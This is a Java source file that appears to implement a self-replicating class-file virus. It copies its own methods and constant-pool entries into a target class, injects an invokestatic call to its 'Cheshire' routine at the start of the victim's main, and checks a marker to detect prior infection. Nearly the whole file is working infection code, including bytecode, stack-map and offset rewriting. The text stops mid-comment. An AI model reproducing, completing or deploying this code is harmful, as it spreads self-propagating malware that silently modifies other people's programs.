import org.graalvm.compiler.nodes.memory.Access;

import java.io.*;
import java.lang.invoke.MethodHandles;
import java.nio.ByteBuffer;
import java.nio.file.AccessDeniedException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Properties;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarInputStream;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipException;


public class SelfExamine{
    /**
     * Basic algorithm: Read ourself, read our own methods to copy them,
     * find main in the target class, inject our methods and inject a
     * call to the infect/copy function
     */

    /**
     * Go through all methods in our parsed class.
     * We are assuming the class we're given is probably us and therefore looking
     * for our own data to copy in preparation for our target.
     *
     * We need to copy from the constant pool:
     *  - Name
     *  - Descriptor
     *  - Items for Method Attributes, Fields. Ugh...
     *
     * How do we want to write this...
     * Something like copyMethods(findOurMethods())?
     *
     * @param parsedClass
     */
    public static void findOurMethods(HashMap<String, Object> parsedClass, HashMap<String, Object> target){
        byte[][] methods = (byte[][]) parsedClass.get("methods");
        byte[][] cpool = (byte[][]) parsedClass.get("constant_pool");
        ArrayList<String> our_methods = new ArrayList<String>();


        our_methods.add("findOurMethods");
        our_methods.add("copyConstant");
        our_methods.add("Cheshire");
        our_methods.add("processVerificationTypeInfo");
        our_methods.add("parseClassFile");
        our_methods.add("instructionIndex");
        our_methods.add("processInstructions");
        our_methods.add("processAttribute");
        our_methods.add("getUtf8Constant");
        our_methods.add("addToPool");
        our_methods.add("classBytes");
        our_methods.add("copyMethod");
        our_methods.add("getMethodName");
        our_methods.add("getClassName");
        our_methods.add("isInfected");
        our_methods.add("searchFile");


        //Loop through our methods and find the ones we're interested in
        for(int i = 0; i < methods.length; i++){
            ByteBuffer bb = ByteBuffer.wrap(Arrays.copyOfRange(methods[i], 2, 6));
            int name_index = bb.getShort();
            int descriptor_index = bb.getShort();
            String name = new String(Arrays.copyOfRange(cpool[name_index-1], 3, cpool[name_index-1].length));
            String descriptor = new String(Arrays.copyOfRange(cpool[descriptor_index-1], 3, cpool[descriptor_index-1].length));

             if(our_methods.contains(name)){
                try {
                    copyMethod(parsedClass, i, target);
                }
                catch(IOException e){
                    e.printStackTrace();
                }
            }
        }
    }

    /**
     * This is a super lame way to detect infection but it'll have to do for now.
     * If class has a method called Cheshire, return true.
     * @param parsedClass
     * @return
     */
    public static boolean isInfected(HashMap<String, Object> parsedClass){
        byte[][] methods = (byte[][]) parsedClass.get("methods");
        boolean infected = false;
        for(int i = 0; i < methods.length; i++){
            ByteBuffer b = ByteBuffer.wrap(methods[i]);
            b.get(new byte[2]);
            int nameIndex = b.getShort();
            b.get(new byte[4]);
            String methodName = getUtf8Constant(nameIndex, parsedClass);
            if(methodName.equals("Cheshire")){
                infected = true;

            }
        }
        return infected;
    }

    /**
     * Look for the main method. If it exists, inject invokestatic (cheshire methodref constant pool index)
     * Rough method for doing this with our code:
     *  1. Find main
     *  2. Find the constant pool item corresponding to the Cheshire method
     *  2. After all other methods have been added, add invokestatic [methodref] instruction as first instruction of main
     *  method in victim class.
     *  3. Add one to the first stackmapframe offset
     *
     *
     */
    public static void inject(HashMap<String, Object> origin, HashMap<String, Object> destination){
        //Are there any functions called main?
        //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame
        //We should parse through the constant pool, look for the methodref with our method name and capture the index
        byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
        int methodRefIndex;
        byte[] instruction_bytes = new byte[3];

        //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef
        //For that method manually.

        //Find the Constant Pool index of the MethodRef for our virus.
        for(int i = 0; i < constant_pool.length; i++){
            byte[] constant = constant_pool[i];

            if(constant[0] == (byte) 10){
                byte[] natindexbytes = new byte[2];
                System.arraycopy(constant, 3 , natindexbytes, 0, 2);
                int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF));
                byte[] NameAndType = constant_pool[NameAndTypeIndex-1];
                byte[] nameindexbytes = new byte[2];
                System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 );
                int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF));
                String methodName = getUtf8Constant(NameIndex, origin);
                if(methodName.equals("Cheshire")){
                    methodRefIndex = i+1;
                    methodRefIndex = copyConstant(origin, methodRefIndex, destination);
                    ByteBuffer bb = ByteBuffer.allocate(2);
                    bb.putShort((short) methodRefIndex);
                    byte[] index_bytes = bb.array();
                    byte invokestatic = (byte) 184;
                    instruction_bytes[0] = invokestatic;
                    instruction_bytes[1] = index_bytes[0];
                    instruction_bytes[2] = index_bytes[1];
                    ArrayList<byte[]> inject_instructions = new ArrayList<byte[]>();
                    inject_instructions.add(instruction_bytes);
                    destination.put("inject_instructions", inject_instructions);
                }
            }
        }

        byte[][] methods = (byte[][]) destination.get("methods");
        for(int i = 0; i < methods.length; i++){
            ByteBuffer b = ByteBuffer.wrap(methods[i]);
            b.get(new byte[2]);
            int nameIndex = b.getShort();
            b.get(new byte[4]);
            String methodName = getUtf8Constant(nameIndex, destination);
            if(methodName.equals("main")){
                try {
                    copyMethod((HashMap<String, Object>) destination.clone(), i, destination);
                } catch (IOException e) {
                    e.printStackTrace();
                }

            }
        }

    }

    /**
     * Fortunately for us, not much to do here. Process verification type info for items on the stack.
     * Not touching it, so essentially just copying the data.
     * @param b
     * @param origin
     * @param destination
     * @return
     */
    public static byte[] processVerificationTypeInfo(ByteBuffer b, HashMap<String, Object> origin, HashMap<String, Object> destination){
        byte tagbyte = b.get();
        int tag = tagbyte & 0xFF;
        if(tag >= 0 && tag < 7){
            ByteBuffer newbuff = ByteBuffer.allocate(1);
            newbuff.put(tagbyte);
            return newbuff.array();
        }
        else if(tag == 7){
            ByteBuffer newbuff = ByteBuffer.allocate(3);
            int index = b.getShort();
            newbuff.put(tagbyte);
            int new_index = copyConstant(origin, index, destination);
            newbuff.putShort((short) new_index);
            return newbuff.array();
        }
        else if(tag == 8){
            ByteBuffer newbuff = ByteBuffer.allocate(3);
            newbuff.put(tagbyte);
            int offset = b.getShort();
            newbuff.putShort((short) offset);
            return newbuff.array();
        }
        else {
            return null;
        }
    }

    /**
     * Convert the index in the old code byte array to an index at the same instruction in the
     * new list. Return the new index.
     * First, find the instruction position in the OldList. Then, if necessary, find the remainder.
     * Next, take that instruction position and cycle through the newList, adding the length of each instruction
     * as you go. Once that instruction position is reached, add the remainder.
     * If two instruction lists of different sizes are passed, we assume instructions are being injected at the
     * beginning of the list.
     * Step 1. How many more instructions in old list than new list?
     * Step 2. Start from equivalent position by subtracting number of instructions
     * Step 3. Add delta to instruction_pos for accurate offset
     *
     * @param index
     * @param oldList
     * @param newList
     * @return
     */
    public static int instructionIndex(int index, ArrayList<byte[]> oldList, ArrayList<byte[]> newList){
        int oldposition = 0;
        int newposition = 0;
        int remainder = 0;
        int instruction_pos = 0;
        int list_offset = 0;
        if(oldList.size() != newList.size()){
            list_offset = newList.size() - oldList.size();
        }
        // Step one: Convert old index
        while(oldposition < index){
            if(oldposition + oldList.get(instruction_pos).length <= index){
                oldposition += oldList.get(instruction_pos).length;
                instruction_pos += 1;
            }
            else if(oldposition + oldList.get(instruction_pos).length > index){
                oldposition += oldList.get(instruction_pos).length;
                instruction_pos += 1;
                remainder = oldposition - index;
                oldposition -= remainder;
            }
        }
        instruction_pos += list_offset;
        //Step two: Convert instruction_pos + remainder to new position
        for(int i = 0; i < instruction_pos; i++){
            newposition += newList.get(i).length;
        }
        return newposition;
    }

    /**
     * This function ended up being more complex than I'd thought.
     * We want to create a data structure where new offsets can be calculated based on instruction position.
     * Ideally, we keep old and new code in a 2d array and calculate offsets based on where instructions are
     * rather than doing individual calculations for each piece. I think it's also ideal if we write
     * function to translate an old position to a new one at any given time. Due to functions being processed
     * one at a time, I think it's OK to store this data in the origin and destination hash maps(if needed).
     *
     * The process of adjustment should look something like this:
     * Instructions are read into an ArrayList of byte arrays.
     * The origin class and the destination class are both given copies of the same list.
     * Following that, the origin class is processed to:
     *  1. Add new constant pool indices
     *  2. Change instructions if necessary
     *  3. adjust if, goto offsets
     *
     *  NOTE TO SELF: I SKIPPED PARSING LOOKUPSWTICH BECAUSE IT'S NOT IN ANY OF THE CODE TO BE COPIED
     * @param instructions
     * @param origin
     * @param destination
     * @return
     */
    public static byte[] processInstructions(byte[] instructions, HashMap<String, Object> origin, HashMap<String, Object> destination, ArrayList<byte[]> injectInstructions){
        ByteBuffer buffer = ByteBuffer.wrap(instructions);
        int code_length = instructions.length;
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ArrayList<byte[]> byteList = new ArrayList<byte[]>();
        while(buffer.hasRemaining()){
            byte instruction = buffer.get();
            if((instruction & 0xff) == 18){
                byte index = buffer.get();
                byte[] inst_bytes = new byte[2];
                inst_bytes[0] = instruction;
                inst_bytes[1] = index;
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 182 || (instruction & 0xff) == 19 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 || (instruction & 0xff) == 180 || (instruction & 0xff) == 20){
                int old_index = buffer.getShort();
                int new_index = copyConstant(origin, old_index, destination);
                ByteBuffer temp = ByteBuffer.allocate(2);
                temp.putShort((short) new_index);
                byte[] index_bytes = temp.array();
                byte[] inst_bytes = new byte[3];
                inst_bytes[0] = instruction;
                inst_bytes[1] = index_bytes[0];
                inst_bytes[2] = index_bytes[1];
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 186){
                int old_index = buffer.getShort();
                int new_index = copyConstant(origin, old_index, destination);
                ByteBuffer tempBuff = ByteBuffer.allocate(2);
                tempBuff.putShort((short) new_index);
                byte[] index_bytes = tempBuff.array();
                byte b1 = buffer.get();
                byte b2 = buffer.get();
                byte[] inst_bytes = new byte[5];
                inst_bytes[0] = instruction;
                inst_bytes[1] = index_bytes[0];
                inst_bytes[2] = index_bytes[1];
                index_bytes[3] = b1;
                index_bytes[4] = b2;
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 201){
                byte b1 = buffer.get();
                byte b2 = buffer.get();
                byte b3 = buffer.get();
                byte b4 = buffer.get();
                byte[] inst_bytes = new byte[5];
                inst_bytes[0] = b1;
                inst_bytes[1] = b2;
                inst_bytes[2] = b3;
                inst_bytes[3] = b4;
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 185){
                int old_index = buffer.getShort();
                int new_index = copyConstant(origin, old_index, destination);
                ByteBuffer temp = ByteBuffer.allocate(2);
                temp.putShort((short) new_index);
                byte[] indexBytes = temp.array();
                byte b1 = buffer.get();
                byte b2 = buffer.get();
                byte[] inst_bytes = new byte[5];
                inst_bytes[0] = instruction;
                inst_bytes[1] = indexBytes[0];
                inst_bytes[2] = indexBytes[1];
                inst_bytes[3] = b1;
                inst_bytes[4] = b2;
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 200){
                byte[] inst_bytes = new byte[5];
                inst_bytes[0] = instruction;
                byte b1 = buffer.get();
                byte b2 = buffer.get();
                byte b3 = buffer.get();
                byte b4 = buffer.get();
                inst_bytes[1] = b1;
                inst_bytes[2] = b2;
                inst_bytes[3] = b3;
                inst_bytes[4] = b4;
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 17 || (instruction & 0xff) == 181 || (instruction & 0xff) == 165 || (instruction & 0xff) == 166 || (instruction & 0xff) == 159 || (instruction & 0xff) == 160 || (instruction & 0xff) == 161 || (instruction & 0xff) == 162 || (instruction & 0xff) == 163 || (instruction & 0xff) == 164 || (instruction & 0xff) == 153 || (instruction & 0xff) == 154 || (instruction & 0xff) == 155 || (instruction & 0xff) == 156 || (instruction & 0xff) == 157 || (instruction & 0xff) == 158 || (instruction & 0xff) == 199 || (instruction & 0xff) == 198 || (instruction & 0xff) == 132 || (instruction & 0xff) == 193 || (instruction & 0xff) == 168 || (instruction & 0xff) == 167 || (instruction & 0xff) == 179){
                byte b1 = buffer.get();
                byte b2 = buffer.get();
                byte[] inst_bytes = new byte[3];
                inst_bytes[0] = instruction;
                inst_bytes[1] = b1;
                inst_bytes[2] = b2;
                byteList.add(inst_bytes);

            }
            else if((instruction & 0xff) == 188 || (instruction & 0xff) == 22 || (instruction & 0xff) == 55 || (instruction & 0xff) == 25 || (instruction & 0xff) == 58 || (instruction & 0xff) == 16 || (instruction & 0xff) == 24 || (instruction & 0xff) == 57 || (instruction & 0xff) == 23 || (instruction & 0xff) == 56 || (instruction & 0xff) == 21 || (instruction & 0xff) == 54){
                byte[] inst_bytes = new byte[2];
                inst_bytes[0] = instruction;
                byte b = buffer.get();
                inst_bytes[1] = b;
                byteList.add(inst_bytes);
            }
            else if((instruction & 0xff) == 182 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 ){
                byte[] inst = new byte[3];
                inst[0] = instruction;
                int old_index = buffer.getShort();
                int new_index = copyConstant(origin, old_index, destination);
                ByteBuffer temp = ByteBuffer.allocate(2);
                temp.putShort((short) new_index);
                byte[] index_bytes = temp.array();
                inst[1] = index_bytes[0];
                inst[2] = index_bytes[1];
                byteList.add(inst);
            }
            else if((instruction & 0xff) == 197){
                byte[] inst_bytes = new byte[4];
                inst_bytes[0] = instruction;
                inst_bytes[1] = buffer.get();
                inst_bytes[2] = buffer.get();
                inst_bytes[3] = buffer.get();
                byteList.add(inst_bytes);
            }
            else {
                byte[] inst = new byte[1];
                inst[0] = instruction;
                byteList.add(inst);
            }
        }
        origin.put("method_code", byteList.clone());

        int code_position = 0;

        for(byte[] bytes : byteList) {
            byte[] inst = bytes;
            if (inst[0] == 18) {
                int old_index = inst[1] & 0xff;
                int new_index = copyConstant(origin, old_index, destination);
                byte[] new_inst;
                if (new_index > 255) {
                    new_inst = new byte[3];
                    ByteBuffer b = ByteBuffer.allocate(2);
                    b.putShort((short) new_index);
                    new_inst[0] = 19;
                    new_inst[1] = b.array()[0];
                    new_inst[2] = b.array()[1];
                    byteList.set(byteList.indexOf(inst), new_inst);
                } else {
                    new_inst = new byte[2];
                    new_inst[0] = 18;
                    new_inst[1] = (byte) new_index;
                    byteList.set(byteList.indexOf(inst), new_inst);
                }

            }
        }
        ArrayList<byte[]> newList = new ArrayList<byte[]>();
        if(injectInstructions != null){
            newList.addAll(injectInstructions);
            newList.addAll(byteList);
        }
        else{
            newList = byteList;
        }

        for(int i = 0; i < byteList.size(); i++){
            byte[] inst = byteList.get(i);
            int list_offset = newList.size() - byteList.size();
            int instruction = inst[0] & 0xFF;
            if((inst[0] & 0xff) == 198 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 159 || (inst[0] & 0xff) == 155 || (inst[0] & 0xff) == 160 || (inst[0] & 0xff) == 161 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 163 || (inst[0] & 0xff) == 164 || (inst[0] & 0xff) == 153 || (inst[0] & 0xff) == 199){
                int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF));
                int new_position = instructionIndex(code_position, (ArrayList<byte[]>) origin.get("method_code"), newList);
                int new_offset = instructionIndex(code_position + offset, (ArrayList<byte[]>) origin.get("method_code"), newList)- new_position;
                ByteBuffer offset_buff = ByteBuffer.allocate(3);
                offset_buff.put(inst[0]);
                offset_buff.putShort((short) new_offset);
                newList.set(i+list_offset, offset_buff.array());
            }
            if((inst[0] & 0xff) == 167){
                int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF));
                int new_position = instructionIndex(code_position, (ArrayList<byte[]>) origin.get("method_code"), newList);
                int new_offset = instructionIndex(code_position + offset, (ArrayList<byte[]>) origin.get("method_code"), newList)- new_position;
                ByteBuffer offset_buff = ByteBuffer.allocate(3);
                offset_buff.put(inst[0]);
                offset_buff.putShort((short) new_offset);
                newList.set(i+list_offset, offset_buff.array());
            }
            code_position += ((ArrayList<byte[]>) origin.get("method_code")).get(i).length;

        }
        destination.put("method_code", newList.clone());
        for(byte[] inst : newList){
            try {
                bos.write(inst);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

        return bos.toByteArray();
    }

    /**
     * Returns an array of bytes corresponding to a set of attributes passed to it. Could be one or several.
     * @return
     */
    public static byte[] processAttribute(byte[] attribute, HashMap<String, Object> origin, HashMap<String, Object> destination, String type) {
        ByteBuffer b = ByteBuffer.allocate(attribute.length);
        ByteBuffer buffer = ByteBuffer.wrap(attribute);

        if(type.equals("Code")){
            //method_buffer[]
            ByteBuffer tempBuffer = ByteBuffer.allocate(4);
            tempBuffer.putShort(buffer.getShort());
            tempBuffer.putShort(buffer.getShort());
            int code_length = buffer.getInt();

            byte[] code = new byte[code_length];
            buffer.get(code);
            origin.put("method_code", null);
            destination.put("method_code", null);
            byte[] instructions = processInstructions(code, origin, destination, (ArrayList<byte[]>) destination.get("inject_instructions"));
            b = ByteBuffer.allocate(attribute.length + (instructions.length - code_length));
            b.put(tempBuffer.array());
            code_length = instructions.length;
            b.putInt(code_length);
            b.put(instructions);
            int exception_table_length = buffer.getShort();
            b.putShort((short) exception_table_length);

            for(int c = 0; c < exception_table_length; c++){
                byte[] dump = new byte[6];
                buffer.get(dump);
                HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
                int start_pc = (short) (((dump[0] & 0xFF) << 8) | (dump[1] & 0xFF));
                int end_pc = (short) (((dump[2] & 0xFF) << 8) | (dump[3] & 0xFF));
                int handler_pc = (short) (((dump[4] & 0xFF) << 8) | (dump[5] & 0xFF));
                start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
                end_pc = instructionIndex(end_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
                handler_pc = instructionIndex(handler_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
                b.putShort((short) start_pc);
                b.putShort((short) end_pc);
                b.putShort((short) handler_pc);
                int catch_type = buffer.getShort();
                int new_catch_type = copyConstant(origin, catch_type, destination);
                b.putShort((short) new_catch_type);

            }

            int attributes_count = buffer.getShort();
            b.putShort((short) attributes_count);
            for(int d = 0; d < attributes_count; d++){
                int name_index = buffer.getShort();
                int new_name_index = copyConstant(origin, name_index, destination);
                b.putShort((short) new_name_index);
                int attribute_length = buffer.getInt();
                b.putInt(attribute_length);
                byte[] new_attribute = new byte[attribute_length];
                buffer.get(new_attribute);
                byte[] processedAttributed = processAttribute(new_attribute, origin, destination, getUtf8Constant(name_index, origin));
                if(processedAttributed.length == attribute_length){
                    b.put(processedAttributed);
                }
            }
            return b.array();
        }
        else if(type.equals("LocalVariableTable")){
            int table_length = buffer.getShort();
            HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
            b.putShort((short) table_length);
            HashMap<String, int[]> LVT = new HashMap<String, int[]>();
            for(int i = 0; i < table_length; i++) {
                int start_pc = buffer.getShort();
                int length = buffer.getShort();
                int pc_length = start_pc+length;
                start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code"));
                length = instructionIndex(pc_length, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code")) - start_pc;
                if(start_pc == 65535){
                    System.out.println("Woah nelly!");
                }
                b.putShort((short) start_pc);
                b.putShort((short) length);
                int orig_name_index = buffer.getShort();

                int new_name_index = copyConstant(origin, orig_name_index, destination);
                b.putShort((short) new_name_index);
                int orig_descriptor_index = buffer.getShort();
                int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
                b.putShort((short) new_descriptor_index);
                b.putShort(buffer.getShort());
                int[] values = new int[2];
                values[0] = new_name_index;
                values[1] = new_descriptor_index;
                LVT.put(getUtf8Constant(orig_name_index, origin), values);
            }
            origin.put("LVT", LVT);
            return b.array();
        }
        else if(type.equals("LocalVariableTypeTable")){
            int table_length = buffer.getShort();
            b.putShort((short) table_length);
            HashMap<String, int[]> LVT = (HashMap<String, int[]>) origin.get("LVT");
            HashMap<Integer, Integer> offsets = (HashMap<Integer, Integer>) origin.get("method_offsets");
            for(int i = 0; i < table_length; i++) {
                int start_pc = buffer.getShort();
                int length = buffer.getShort();
                int pc_length = start_pc+length;
                start_pc = instructionIndex(start_pc, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code"));
                b.putShort((short) start_pc);
                length = instructionIndex(pc_length, (ArrayList<byte[]>) origin.get("method_code"),(ArrayList<byte[]>) destination.get("method_code")) - start_pc;
                b.putShort((short) length);
                int orig_name_index = buffer.getShort();
                int[] indices = LVT.get(getUtf8Constant(orig_name_index, origin));
                int new_name_index = (short) indices[0];
                b.putShort((short) indices[0]);
                int orig_descriptor_index = buffer.getShort();
                int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
                b.putShort((short) indices[1]);
                b.putShort(buffer.getShort());
            }
            return b.array();
        }
        else if(type.equals("Signature")){
            int old_signature_index = buffer.getShort();
            int new_signature_index = copyConstant(origin, old_signature_index, destination);
            b.putShort((short) new_signature_index);
            return b.array();
        }
        else if(type.equals("Exceptions")){
            int number_of_exceptions = buffer.getShort();
            b.putShort((short) number_of_exceptions);
            for(int i = 0; i < number_of_exceptions; i++){
                int class_index = buffer.getShort();
                int new_class_index = copyConstant(origin, class_index, destination);
                b.putShort((short) new_class_index);
            }
            return b.array();
        }
        else if(type.equals("StackMapTable")){
            int num_entries = buffer.getShort();
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            int frame_position = 0;
            int old_frame_position = 0;
            for(int i = 0; i < num_entries; i++){

                byte tagbyte = buffer.get();
                int tag = tagbyte & 0xFF;

                if(tag >= 0 && tag <= 63){
                    int new_offset =  instructionIndex(old_frame_position + tag + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position +i);
                    old_frame_position += tag;

                    Integer a = new_offset;
                    byte newtag = a.byteValue();
                    bos.write(newtag);

                    frame_position += new_offset;

                }
                else if(tag >= 64 && tag <= 127){

                    int new_offset = instructionIndex(old_frame_position + (tag - 64) + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);

                    old_frame_position += (tag - 64);

                    byte newtag = (byte) (new_offset+64);
                    bos.write(newtag);
                    try {
                        bos.write(processVerificationTypeInfo(buffer, origin, destination));
                    }
                    catch (IOException e){

                    }
                    frame_position += new_offset;

                }
                else if(tag == 247){
                    bos.write(tagbyte);
                    ByteBuffer bbuf = ByteBuffer.allocate(2);
                    int offset = buffer.getShort();
                    int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);

                    old_frame_position += offset;

                    bbuf.putShort((short) new_offset);
                    try {
                        bos.write(bbuf.array());
                        bos.write(processVerificationTypeInfo(buffer, origin, destination));
                    }
                    catch (IOException e){

                    }

                    frame_position += new_offset;

                }
                else if(tag >= 248 && tag <= 251){
                    bos.write(tagbyte);
                    int offset = buffer.getShort();
                    int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
                    old_frame_position += offset;
                    ByteBuffer bbuf = ByteBuffer.allocate(2);

                    bbuf.putShort((short) new_offset);

                    try {
                        bos.write(bbuf.array());
                    }
                    catch (IOException e){

                    }

                    frame_position += new_offset;

                }
                else if(tag >= 252 && tag <= 254){
                    bos.write(tagbyte);
                    ByteBuffer bbuf = ByteBuffer.allocate(2);
                    byte[] offset = new byte[2];
                    int o_offset = buffer.getShort();
                    int offset_i = instructionIndex(o_offset + old_frame_position + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);

                    old_frame_position += o_offset;


                    bbuf.putShort((short) offset_i);

                    try {
                        bos.write(bbuf.array());
                        int numtypes = tag - 251;
                        for(int a = 0; a < numtypes; a++) {
                            bos.write(processVerificationTypeInfo(buffer, origin, destination));
                        }
                    } catch (IOException e) {
                        e.printStackTrace();
                    }

                    frame_position += offset_i;



                }
                else if(tag == 255){
                    bos.write(tagbyte);
                    byte[] offset = new byte[2];
                    int offset_int = buffer.getShort();
                    int new_offset = instructionIndex(old_frame_position + offset_int + i, (ArrayList<byte[]>) origin.get("method_code"), (ArrayList<byte[]>) destination.get("method_code")) - (frame_position+i);
                    old_frame_position += offset_int;


                    ByteBuffer bbuf = ByteBuffer.allocate(2);
                    bbuf.putShort((short) new_offset);

                    try {
                        bos.write(bbuf.array());
                        int num_locals = buffer.getShort();
                        bbuf = ByteBuffer.allocate(2);
                        bbuf.putShort((short) num_locals);
                        bos.write(bbuf.array());
                        for(int a = 0; a < num_locals; a++){
                            bos.write(processVerificationTypeInfo(buffer, origin, destination));
                        }
                        int num_stack_items = buffer.getShort();
                        bbuf = ByteBuffer.allocate(2);
                        bbuf.putShort((short) num_stack_items);
                        bos.write(bbuf.array());
                        for(int a= 0; a < num_stack_items; a++){
                            bos.write(processVerificationTypeInfo(buffer, origin, destination));
                        }
                    } catch (IOException e) {
                        e.printStackTrace();
                    }

                    frame_position += new_offset;

                }
            }
            b.putShort((short) num_entries);
            b.put(bos.toByteArray());
            return b.array();
        }
        else if(type.equals("LineNumberTable")){
            int table_length = buffer.getShort();
            b.putShort((short) table_length);
            for(int i = 0; i < table_length; i++){
                b.putShort((short) (i+1));
                buffer.getShort();
                b.putShort(buffer.getShort());
        }
        return b.array();
    }
        return buffer.array();
}

    /**
     * Easily turn a Utf8 String index into a string we can read.
     * @param index
     * @param parsedClass
     * @return
     */
    public static String getUtf8Constant(int index, HashMap<String, Object> parsedClass){
        byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
        byte[] constant = constant_pool[index-1];
        return new String(Arrays.copyOfRange(constant, 3, constant.length));
    }

    /**
     * Pass a set of bytes in a class, return the name of the method.
     * @param method
     * @param parsedClass
     * @return
     */
    public static String getMethodName(byte[] method, HashMap<String, Object> parsedClass){
        ByteBuffer method_buffer = ByteBuffer.wrap(method);
        method_buffer.get(new byte[2]);
        int name_index = method_buffer.getShort();
        return getUtf8Constant(name_index, parsedClass);
    }

    /**
     *
     * Copy a method from one parsed class to another.
     * If the method already exists, overwrite it. This is because I'm lazy and didn't want to write a
     * separate method for handling injection.
     * @param parsedClass
     * @param orig_method_index
     * @param destination
     * @return The index of the method in the new file
     *
     */
    public static int copyMethod(HashMap<String, Object> origin, int orig_method_index, HashMap<String, Object> destination) throws IOException {
        byte[][] orig_methods = (byte[][]) origin.get("methods");
        byte[] method = orig_methods[orig_method_index];
        boolean overwrite = false;

        String methodName = getMethodName(method, origin);
        ByteBuffer method_buffer = ByteBuffer.wrap(method);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ByteBuffer b = ByteBuffer.allocate(8);
        byte[] access_flags = new byte[2];
        method_buffer.get(access_flags);
        b.put(access_flags);
        int orig_name_index = method_buffer.getShort();
        int new_name_index = copyConstant(origin, orig_name_index, destination);
        b.putShort((short) new_name_index);

        int orig_descriptor_index = method_buffer.getShort();
        int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
        b.putShort((short) new_descriptor_index);

        int attribute_count = method_buffer.getShort();
        b.putShort((short) attribute_count);
        bos.write(b.array());
        b.clear();
        HashMap<Integer, Integer> offsets = new HashMap<Integer, Integer>();
        origin.put("method_offsets", offsets);

        for(int i = 0; i < attribute_count; i++){
            b = ByteBuffer.allocate(6);
            int old_name_index = method_buffer.getShort();
            int new_attr_name_index = copyConstant(origin, old_name_index, destination);

            int attribute_length = method_buffer.getInt();
            byte[][] cpool = (byte[][]) origin.get("constant_pool");

            byte[] attr_name_bytes = cpool[old_name_index-1];
            String name = getUtf8Constant(old_name_index, origin);

            byte[] attribute = new byte[attribute_length];
            method_buffer.get(attribute);

            byte[] new_attribute = processAttribute(attribute, origin, destination, name);

            b.putShort((short) new_attr_name_index);
            b.putInt(new_attribute.length);
            bos.write(b.array());
            bos.write(new_attribute);


        }
        byte[][] dest_methods = (byte[][]) destination.get("methods");
        byte[][] temp_new_methods = new byte[dest_methods.length+1][];

        for(int a = 0; a < dest_methods.length; a++){
            if(methodName.equals(getMethodName(dest_methods[a], destination))){
                overwrite = true;
            }
        }
        if(overwrite == true){
            temp_new_methods = new byte[dest_methods.length][];
            for(int a = 0; a < dest_methods.length; a++){
                if(methodName.equals(getMethodName(dest_methods[a], destination))){
                    temp_new_methods[a] =  bos.toByteArray();
                }
                else{
                    temp_new_methods[a] = dest_methods[a];
                }
            }
        }
        else{
            for(int a = 0; a < dest_methods.length; a++){
                temp_new_methods[a] = dest_methods[a];
            }
            temp_new_methods[dest_methods.length] = bos.toByteArray();
        }
        destination.put("methods", temp_new_methods);
        return dest_methods.length+1;
    }

    /**
     * Add an item to the constant pool.
     */
    public static int addToPool(HashMap<String, Object> parsedClass, byte[] new_data){
        byte[][] target_constant_pool = (byte[][]) parsedClass.get("constant_pool");
        int pool_size = target_constant_pool.length+1;
        byte[][] temp_target_pool = new byte[pool_size][];
        for(int a = 0; a < pool_size-1; a++){
            temp_target_pool[a] = target_constant_pool[a];
        }
        temp_target_pool[pool_size-1] = new_data;
        parsedClass.put("constant_pool", temp_target_pool);
        return pool_size;
    }

    /**
     * Get a class's name as a String based on the name of this_class.
